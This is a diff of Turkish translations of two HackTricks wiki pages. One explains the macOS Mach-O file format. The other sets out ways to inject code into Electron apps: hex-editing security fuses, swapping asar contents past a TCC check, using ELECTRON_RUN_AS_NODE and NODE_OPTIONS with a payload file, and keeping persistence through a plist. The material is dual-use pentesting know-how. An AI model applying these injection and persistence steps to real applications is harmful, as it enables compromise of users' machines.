Mac OS ikili dosyalar genellikle **evrensel ikili dosyalar** olarak derlenir. Bir **evrensel ikili dosya**, **aynı dosyada birden fazla mimariyi destekleyebilir**. Mac OS ikili dosyaları genellikle **evrensel ikili dosyalar** olarak derlenir. Bir **evrensel ikili dosya**, **aynı dosyada birden fazla mimariyi destekleyebilir**.
Bu ikili dosyalar genellikle **Mach-O yapısını** takip eder, bu yapının temel olarak şunlardan oluşur: Bu ikili dosyalar, genellikle **Mach-O yapısını** takip eder, bu yapının temel olarak şunlardan oluşur:
* Başlık * Başlık
* Yükleme Komutları * Yükleme Komutları
@ -47,7 +47,7 @@ uint32_t align; /* 2'nin üssü olarak hizalama */
}; };
</code></pre> </code></pre>
Başlık, **sihirli** baytları ve dosyanın içerdiği **mimari sayısını** (`nfat_arch`) takip eden her mimarinin bir `fat_arch` yapısına sahip olduğu baytları içerir. Başlık, **sihirli** baytları ve dosyanın içerdiği **mimari sayısını** (`nfat_arch`) takip eden her mimarinin bir `fat_arch` yapısına sahip olduğu **sayıyı** içerir.
Şununla kontrol edin: Şununla kontrol edin:
@ -84,7 +84,7 @@ Genellikle 2 mimari için derlenen bir evrensel ikili dosya, yalnızca 1 mimari
## **Mach-O Başlık** ## **Mach-O Başlık**
Başlık, dosya hakkında temel bilgiler içerir, örneğin dosyayı Mach-O dosyası olarak tanımlayan sihirli baytlar ve hedef mimari hakkında bilgiler. Bu bilgileri şurada bulabilirsiniz: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` Başlık, dosya hakkında temel bilgiler içerir, örneğin sihirli baytlarla dosyayı Mach-O dosyası olarak tanımlamak ve hedef mimari hakkında bilgi içerir. Bunları şurada bulabilirsiniz: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
```c ```c
#define MH_MAGIC 0xfeedface /* the mach magic number */ #define MH_MAGIC 0xfeedface /* the mach magic number */
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */ #define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
@ -114,8 +114,8 @@ uint32_t reserved; /* reserved */
**Dosya Türleri**: **Dosya Türleri**:
* MH\_EXECUTE (0x2): Standart Mach-O yürütülebilir dosyası * MH\_EXECUTE (0x2): Standart Mach-O yürütülebilir dosyası
* MH\_DYLIB (0x6): Bir Mach-O dinamik bağlantılı kütüphane (.dylib) * MH\_DYLIB (0x6): Bir Mach-O dinamik bağlantılı kütüphane (örneğin .dylib)
* MH\_BUNDLE (0x8): Bir Mach-O paketi (.bundle) * MH\_BUNDLE (0x8): Bir Mach-O paketi (örneğin .bundle)
```bash ```bash
# Checking the mac header of a binary # Checking the mac header of a binary
otool -arch arm64e -hv /bin/ls otool -arch arm64e -hv /bin/ls
@ -127,9 +127,9 @@ Veya [Mach-O View](https://sourceforge.net/projects/machoview/) kullanarak:
<figure><img src="../../../.gitbook/assets/image (4) (1) (4).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (4) (1) (4).png" alt=""><figcaption></figcaption></figure>
## **Mach-O Yükleme komutları** ## **Mach-O Yükleme Komutları**
**Dosyanın bellekteki düzeni** burada belirtilir, **sembol tablosunun konumu**, yürütme başlangıcında ana iş parçacığının bağlamı ve gerekli **paylaşılan kütüphaneler** detaylandırılır. Talimatlar, ikincil belleğe yüklenen ikili dosyanın yükleme süreci hakkında dinamik yükleyici **(dyld)** için sağlanır. **Dosyanın bellekteki düzeni** burada belirtilir, **sembol tablosunun konumu**, yürütme başlangıcında ana iş parçacığının bağlamı ve gerekli **paylaşılan kütüphaneler** detaylandırılır. Talimatlar, ikincil yükleyici **(dyld)** tarafından binary'nin belleğe yüklenme sürecine ilişkin olarak sağlanır.
Kullanılan yapı, belirtilen **`loader.h`** içinde tanımlanan **load\_command** yapısıdır: Kullanılan yapı, belirtilen **`loader.h`** içinde tanımlanan **load\_command** yapısıdır:
```objectivec ```objectivec
@ -146,11 +146,11 @@ Sistem farklı şekillerde işlediği yaklaşık **50 farklı yükleme komutu t
Temelde, bu tür Yükleme Komutları, ikili dosya yürütüldüğünde **\_\_TEXT** (yürütülebilir kod) ve **\_\_DATA** (işlem için veri) **segmentlerini** yüklemenin **veri bölümünde belirtilen ofsetlere göre** nasıl yükleneceğini tanımlar. Temelde, bu tür Yükleme Komutları, ikili dosya yürütüldüğünde **\_\_TEXT** (yürütülebilir kod) ve **\_\_DATA** (işlem için veri) **segmentlerini** yüklemenin **veri bölümünde belirtilen ofsetlere göre** nasıl yükleneceğini tanımlar.
{% endhint %} {% endhint %}
Bu komutlar, bir işlemin yürütüldüğünde **sanal bellek alanına eşlenen segmentleri tanımlar**. Bu komutlar, bir işlem yürütüldüğünde **sanal bellek alanına eşlenen segmentleri tanımlar**.
**Farklı türlerde** segmentler bulunmaktadır, örneğin bir programın yürütülebilir kodunu içeren **\_\_TEXT** segmenti ve işlem tarafından kullanılan verileri içeren **\_\_DATA** segmenti. Bu **segmentler**, Mach-O dosyasının veri bölümünde bulunmaktadır. **\_\_TEXT** segmentini, bir programın yürütülebilir kodunu içeren ve işlem tarafından kullanılan verileri içeren **\_\_DATA** segmenti gibi **farklı türlerde segmentler** bulunmaktadır. Bu **segmentler**, Mach-O dosyasının veri bölümünde bulunur.
**Her segment**, daha fazla **bölünebilir** olan **birçok bölüme** ayrılabilir. **Yükleme komutu yapısı**, ilgili segment içindeki **bu bölümler hakkında bilgi** içerir. **Her segment**, daha fazla **bölümlere** ayrılabilir. **Yükleme komutu yapısı**, ilgili segment içindeki **bu bölümler hakkında bilgi** içerir.
Başlıkta önce **segment başlığını** bulursunuz: Başlıkta önce **segment başlığını** bulursunuz:
@ -169,11 +169,11 @@ int32_t initprot; /* başlangıç VM koruması */
}; };
</code></pre> </code></pre>
Segment başlığının örneği: Segment başlığı örneği:
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
Bu başlık, **ardından görünen başlıkları olan bölümlerin sayısını** tanımlar: Bu başlık, **ardından başlıkları görünen bölümlerin sayısını** tanımlar:
```c ```c
struct section_64 { /* for 64-bit architectures */ struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */ char sectname[16]; /* name of this section */
@ -196,23 +196,23 @@ uint32_t reserved3; /* reserved */
Eğer **bölüm ofseti** (0x37DC) + **mimarinin başladığı ofset** eklenirse, bu durumda `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC` Eğer **bölüm ofseti** (0x37DC) + **mimarinin başladığı ofset** eklenirse, bu durumda `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ayrıca **başlık bilgilerini** **komut satırından** almak da mümkündür: Ayrıca **başlık bilgilerini** **komut satırından** almak da mümkündür:
```bash ```bash
otool -lv /bin/ls otool -lv /bin/ls
``` ```
```markdown ```markdown
Bu komut tarafından yüklenen yaygın bölümler: Bu cmd tarafından yüklenen yaygın bölümler:
* **`__PAGEZERO`:** Çekirdeğe **adres sıfırı**nı **haritalamaması** için talimat verir, böylece bu sayfada **okunamaz, yazılamaz veya yürütülemez**. Yapıdaki maxprot ve minprot değişkenleri sıfıra ayarlanır, bu sayfada **okuma-yazma-yürütme hakları olmadığını** belirtir. * **`__PAGEZERO`:** Çekirdeğe **adres sıfırı**nı **haritalamayı** emreder, böylece bu sayfada **okunamaz, yazılamaz veya yürütülemez**. Yapıdaki maxprot ve minprot değişkenleri sıfıra ayarlanır, bu sayfada **okuma-yazma-yürütme hakları olmadığını** belirtir.
* Bu tahsis, **NULL işaretçi sızdırmazlıklarını hafifletmek** için önemlidir. * Bu tahsis, **NULL işaretçi sızdırmazlıklarını hafifletmek** için önemlidir.
* **`__TEXT`**: **Okunabilir** ve **yürütülebilir** izinlere sahip **yürütülebilir** **kod** içerir (yazılabilir değil)**.** Bu segmentin yaygın bölümleri: * **`__TEXT`**: **Yürütülebilir** **kod** içerir ve **okuma** ve **yürütme** izinlerine sahiptir (yazılabilir değil)**.** Bu segmentin yaygın bölümleri:
* `__text`: Derlenmiş ikili kod * `__text`: Derlenmiş ikili kod
* `__const`: Sabit veri * `__const`: Sabit veri
* `__cstring`: Dize sabitleri * `__cstring`: Dize sabitleri
* `__stubs` ve `__stubs_helper`: Dinamik kitaplık yükleme sürecinde rol oynar * `__stubs` ve `__stubs_helper`: Dinamik kitaplık yükleme sürecinde rol oynar
* **`__DATA`**: **Okunabilir** ve **yazılabilir** verileri içerir (yürütülebilir değil)**.** * **`__DATA`**: **Okunabilir** ve **yazılabilir** verileri içerir (yürütülemez)**.**
* `__data`: Başlatılmış küresel değişkenler * `__data`: Başlatılmış küresel değişkenler
* `__bss`: Başlatılmamış statik değişkenler * `__bss`: Başlatılmamış statik değişkenler
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, vb.): Objective-C çalışma zamanı tarafından kullanılan bilgiler * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, vb.): Objective-C çalışma zamanı tarafından kullanılan bilgiler
@ -221,22 +221,22 @@ Bu komut tarafından yüklenen yaygın bölümler:
### **`LC_MAIN`** ### **`LC_MAIN`**
**entryoff özniteliğindeki** giriş noktasını içerir. Yükleme zamanında, **dyld** bu değeri (bellekteki) **ikili tabanına ekler**, ardından bu talimata atlayarak ikilinin kodunun yürütülmesini başlatır. **entryoff özniteliğindeki** giriş noktasını içerir. Yükleme zamanında, **dyld** sadece bu değeri (bellekteki) **ikili tabanına ekler**, ardından bu talimata atlayarak ikilinin kodunun yürütmesini başlatır.
### **LC\_CODE\_SIGNATURE** ### **LC\_CODE\_SIGNATURE**
Macho-O dosyasının **kod imzası hakkında bilgi** içerir. Yalnızca **imza bloğuna işaret eden bir ofset** içerir. Bu genellikle dosyanın sonunda bulunur.\ Macho-O dosyasının **kod imzası hakkında bilgileri** içerir. Yalnızca **imza bloğuna işaret eden bir ofset** içerir. Bu genellikle dosyanın sonunda bulunur.\
Ancak, bu bölümle ilgili bazı bilgileri [**bu blog yazısında**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) ve bu [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) bulabilirsiniz. Ancak, bu bölümle ilgili bazı bilgileri [**bu blog yazısında**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) ve bu [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) bulabilirsiniz.
### **LC\_LOAD\_DYLINKER** ### **LC\_LOAD\_DYLINKER**
Paylaşılan kitaplıkları işlem adres alanına haritalayan dinamik bağlayıcı yürütülebilir dosyanın **yolunu içerir**. **Değer her zaman `/usr/lib/dyld` olarak ayarlanır**. macOS'ta dylib eşlemesi **çekirdek modunda değil, kullanıcı modunda** gerçekleşir. Paylaşılan kitaplıkları işlem adres alanına haritalayan dinamik bağlayıcı yürütülebilir dosyasının **yolunu içerir**. **Değer her zaman `/usr/lib/dyld` olarak ayarlanır**. macOS'ta dylib eşlemesi **çekirdek modunda değil, kullanıcı modunda** gerçekleşir.
### **`LC_LOAD_DYLIB`** ### **`LC_LOAD_DYLIB`**
Bu yükleme komutu, **yükleme ve bağlama talimatı veren** **dinamik** **kitaplık** bağımlılığınııklar. Mach-O ikilisinin gerektirdiği her kitaplık için bir LC\_LOAD\_DYLIB yükleme komutu vardır. Bu yükleme komutu, **yükleme ve bağlama talimatını veren** **dinamik** **kitaplık** bağımlılığınııklar. Mach-O ikilisinin gerektirdiği her kitaplık için bir LC\_LOAD\_DYLIB yükleme komutu vardır.
* Bu yükleme komutu, **gerçek bağımlı dinamik kitaplığı tanımlayan** bir yapı türü olan **`dylib_command`** yapısını içerir: * Bu yükleme komutu, **gerçek bağımlı dinamik kitaplığı tanımlayan struct dylib içeren bir dylib_command** türünde bir yapıdır:
``` ```
```objectivec ```objectivec
struct dylib_command { struct dylib_command {
@ -283,9 +283,9 @@ Veri, temelde yükleme komutları **LC\_SEGMENTS\_64** tarafından yüklenen tü
Bu şunları içerir: Bu şunları içerir:
* **Fonksiyon tablosu:** Program fonksiyonları hakkında bilgileri tutar. * **Fonksiyon tablosu:** Program fonksiyonları hakkında bilgiler içerir.
* **Sembol tablosu**: İkili dosya tarafından kullanılan harici fonksiyonlar hakkındaki bilgileri içerir * **Sembol tablosu**: İkili dosya tarafından kullanılan harici fonksiyonlar hakkında bilgi içerir
* Ayrıca dahili fonksiyonları, değişken isimlerini ve daha fazlasını içerebilir. * Ayrıca iç fonksiyonları, değişken adlarını ve daha fazlasını içerebilir.
Bunu kontrol etmek için [**Mach-O View**](https://sourceforge.net/projects/machoview/) aracını kullanabilirsiniz: Bunu kontrol etmek için [**Mach-O View**](https://sourceforge.net/projects/machoview/) aracını kullanabilirsiniz:
@ -299,14 +299,14 @@ size -m /bin/ls
<özet> <özet>
<strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!
HackTricks'ı desteklemenin diğer yolları: Diğer HackTricks'i destekleme yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünleri**]'ni alın (https://peass.creator-spring.com)
* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz * [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in bulunduğu koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. * **Hackleme hilelerinizi paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</detaylar> </detaylar>

View file

@ -2,34 +2,34 @@
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
</details> </details>
## Temel Bilgiler ## Temel Bilgiler
Electron nedir bilmiyorsanız [**burada birçok bilgi bulabilirsiniz**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ancak şu anda sadece bilmelisiniz ki Electron **node** çalıştırır.\ Electron nedir bilmiyorsanız [**burada birçok bilgi bulabilirsiniz**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ancak şu an için sadece şunu bilin ki Electron **node** çalıştırır.\
Ve node'un **başka kodları çalıştırmasına izin veren** bazı **parametreleri** ve **çevresel değişkenleri** vardır. Ve node'un **başka kodları çalıştırmasına izin veren** bazı **parametreleri** ve **çevresel değişkenleri** vardır.
### Electron Sigortaları ### Electron Sigortaları
Bu teknikler bir sonraki aşamada tartışılacak, ancak son zamanlarda Electron, bunları **önlemek için** birkaç **güvenlik bayrağı ekledi**. Bunlar [**Electron Sigortaları**](https://www.electronjs.org/docs/latest/tutorial/fuses) ve bunlar macOS'ta Electron uygulamalarının **keyfi kod yükleme**yi **önlemek** için kullandığı sigortalardır: Bu teknikler bir sonraki aşamada tartışılacak, ancak son zamanlarda Electron, bunları **önlemek için** birkaç **güvenlik bayrağı ekledi**. Bunlar [**Electron Sigortaları**](https://www.electronjs.org/docs/latest/tutorial/fuses) ve bunlar macOS'taki Electron uygulamalarının **keyfi kod yüklemesini engellemek** için kullanılanlar:
* **`RunAsNode`**: Devre dışı bırakıldığında, kod enjekte etmek için **`ELECTRON_RUN_AS_NODE`** çevresel değişkeninin kullanılmasını engeller. * **`RunAsNode`**: Devre dışı bırakıldığında, **`ELECTRON_RUN_AS_NODE`** çevresel değişkenini kullanarak kod enjekte etmeyi engeller.
* **`EnableNodeCliInspectArguments`**: Devre dışı bırakıldığında, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmaz. Bu şekilde kod enjekte etme engellenir. * **`EnableNodeCliInspectArguments`**: Devre dışı bırakıldığında, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmaz. Bu şekilde kod enjekte etmeyi önler.
* **`EnableEmbeddedAsarIntegrityValidation`**: Eğer etkinse, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanır**. Bu dosyanın içeriğini değiştirerek **kod enjeksiyonunu** bu şekilde **önler**. * **`EnableEmbeddedAsarIntegrityValidation`**: Eğer etkinse, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanır**. Bu şekilde dosyanın içeriğini değiştirerek kod enjeksiyonunu **engeller**.
* **`OnlyLoadAppFromAsar`**: Bu etkinse, aşağıdaki sırayla yükleme arayışında olmak yerine: **`app.asar`**, **`app`** ve son olarak **`default_app.asar`**. Sadece app.asar'ı kontrol eder ve kullanır, böylece **`embeddedAsarIntegrityValidation`** sigortası ile birleştirildiğinde **doğrulanmamış kodun** yüklenmesinin **imkansız** olduğunu garanti eder. * **`OnlyLoadAppFromAsar`**: Bu etkinse, **`app.asar`**, **`app`** ve son olarak **`default_app.asar`** sırasıyla aranmak yerine sadece app.asar'ı kontrol eder ve kullanır, böylece **`embeddedAsarIntegrityValidation`** sigortası ile birleştirildiğinde doğrulanmamış kod yüklemenin **imkansız** olduğunu sağlar.
* **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinse, tarayıcı işlemi V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır. * **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinse, tarayıcı işlemi V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır.
Kod enjeksiyonunu önlemeyen başka ilginç bir sigorta ise: Kod enjeksiyonunu engellemeyen başka ilginç bir sigorta ise:
* **EnableCookieEncryption**: Etkinse, diskteki çerez deposu işletim sistemi düzeyindeki şifreleme anahtarları kullanılarak şifrelenir. * **EnableCookieEncryption**: Etkinse, diskteki çerez deposu işletim sistemi düzeyindeki şifreleme anahtarları kullanılarak şifrelenir.
@ -53,20 +53,20 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
[Belgelerde belirtildiği gibi](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron Sigortalarının** yapılandırması genellikle **Electron ikili dosyası** içinde yapılandırılmıştır ve içinde **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** dizesini içerir. [Belgelerde belirtildiği gibi](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron Sigortalarının** yapılandırması genellikle **Electron ikili dosyası** içinde yapılandırılmıştır ve içinde **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** dizesini içerir.
MacOS uygulamalarında bu genellikle `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` dizinindedir. MacOS uygulamalarında genellikle bu yol içindedir: `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash ```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
``` ```
Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizenin hemen sonrasında, her sigortanın devre dışı bırakılmış veya etkinleştirilmiş olduğunu gösteren bir "0" veya "1" sayısı ASCII olarak görünecektir. Sadece hex kodunu değiştirin (`0x30` `0` ve `0x31` `1` olarak) **sigorta değerlerini değiştirmek** için. Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizenin hemen sonrasında, her sigortanın devre dışı bırakılmış veya etkinleştirilmiş olduğunu belirten bir "0" veya "1" sayısını ASCII olarak görebilirsiniz. Sadece hex kodunu değiştirerek (`0x30` `0` ve `0x31` `1` olarak) **sigorta değerlerini değiştirebilirsiniz**.
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Uyarı: **`Electron Framework` ikili** dosyasını bu baytlar değiştirilmiş bir uygulamanın içine **üzerine yazmaya** çalışırsanız, uygulama çalışmayacaktır. Uyarı: **`Electron Framework` ikili** dosyasını bu değiştirilmiş baytlarla üzerine yazmaya çalışırsanız, uygulama çalışmaz.
## Electron Uygulamalarına Kod Ekleyerek Uzaktan Kod Çalıştırma (RCE) ## Electron Uygulamalarına Kod Ekleyerek Uzaktan Kod Çalıştırma (RCE)
Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan bu dosyalara kod enjekte edebilir ve imzası kontrol edilmeyen bu dosyalarda keyfi kodları uygulama bağlamında çalıştırabilir. Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan bu dosyalara kod enjekte edebilir ve imzası kontrol edilmeyen bu kodu uygulamanın bağlamında yürütebilir.
{% hint style="danger" %} {% hint style="danger" %}
Ancak, şu anda 2 kısıtlama bulunmaktadır: Ancak, şu anda 2 kısıtlama bulunmaktadır:
@ -78,7 +78,7 @@ Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir.
{% endhint %} {% endhint %}
`kTCCServiceSystemPolicyAppBundles` gereksinimini atlamak mümkündür, uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`**'i **`app.app/NotCon`** olarak yeniden adlandırarak, **asar** dosyasını **zararlı** kodunuzla değiştirerek, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak. `kTCCServiceSystemPolicyAppBundles` gereksinimini atlayabilirsiniz, uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`**'i **`app.app/NotCon`** olarak yeniden adlandırarak, **asar** dosyasını **kötü niyetli** kodunuzla değiştirerek, dosyayı tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak.
Asar dosyasından kodu açabilirsiniz: Asar dosyasından kodu açabilirsiniz:
```bash ```bash
@ -102,12 +102,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %} {% endcode %}
{% hint style="danger" %} {% hint style="danger" %}
Eğer **`RunAsNode`** anahtarı devre dışı bırakılmışsa, **`ELECTRON_RUN_AS_NODE`** ortam değişkeni görmezden gelinir ve bu çalışmaz. Eğer **`RunAsNode`** füzyonu devre dışı bırakılmışsa, **`ELECTRON_RUN_AS_NODE`** ortam değişkeni yok sayılacak ve bu çalışmayacaktır.
{% endhint %} {% endhint %}
### Uygulama Plist Dosyasından Enjeksiyon ### Uygulama Plist'ten Enjeksiyon
[**Burada önerildiği gibi**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), kalıcılığı sağlamak için bu ortam değişkenini bir plist dosyasında kötüye kullanabilirsiniz: [**Burada önerildiği gibi**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), bu ortam değişkenini bir plist'te kötüye kullanarak kalıcılığı sürdürebilirsiniz:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -133,7 +133,7 @@ Eğer **`RunAsNode`** anahtarı devre dışı bırakılmışsa, **`ELECTRON_RUN_
``` ```
## `NODE_OPTIONS` ile Uzaktan Kod Çalıştırma (RCE) ## `NODE_OPTIONS` ile Uzaktan Kod Çalıştırma (RCE)
Payload'ı farklı bir dosyada saklayabilir ve çalıştırabilirsiniz: Payload'ı farklı bir dosyada saklayıp çalıştırabilirsiniz:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -146,7 +146,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
{% endcode %} {% endcode %}
{% hint style="danger" %} {% hint style="danger" %}
Eğer **`EnableNodeOptionsEnvironmentVariable`** füzyonu **devre dışı bırakılmışsa**, uygulama başlatıldığında **NODE_OPTIONS** çevresel değişkenini **yoksayar**. Bu durum, **`ELECTRON_RUN_AS_NODE`** çevresel değişkeni ayarlanmadığı sürece **yoksayılacaktır** ve bu da **`RunAsNode`** füzyonu devre dışı bırakılmışsa **yoksayılacaktır**. Eğer **`EnableNodeOptionsEnvironmentVariable`** füzyonu **devre dışı bırakılmışsa**, uygulama başlatıldığında **NODE_OPTIONS** çevresel değişkenini **yoksayar** ancak **`ELECTRON_RUN_AS_NODE`** çevresel değişkeni ayarlandığında dikkate alınacaktır, bu da **`RunAsNode`** füzyonu devre dışı bırakılmışsa **yoksayılacaktır**.
**`ELECTRON_RUN_AS_NODE`** ayarlamazsanız, şu **hata** ile karşılaşırsınız: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` **`ELECTRON_RUN_AS_NODE`** ayarlamazsanız, şu **hata** ile karşılaşırsınız: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
{% endhint %} {% endhint %}
@ -171,7 +171,7 @@ Bu çevresel değişkeni bir plist'te kötüye kullanarak kalıcılığı sürd
``` ```
## Denetim yaparak Uzaktan Kod Yürütme (RCE) ## Denetim yaparak Uzaktan Kod Yürütme (RCE)
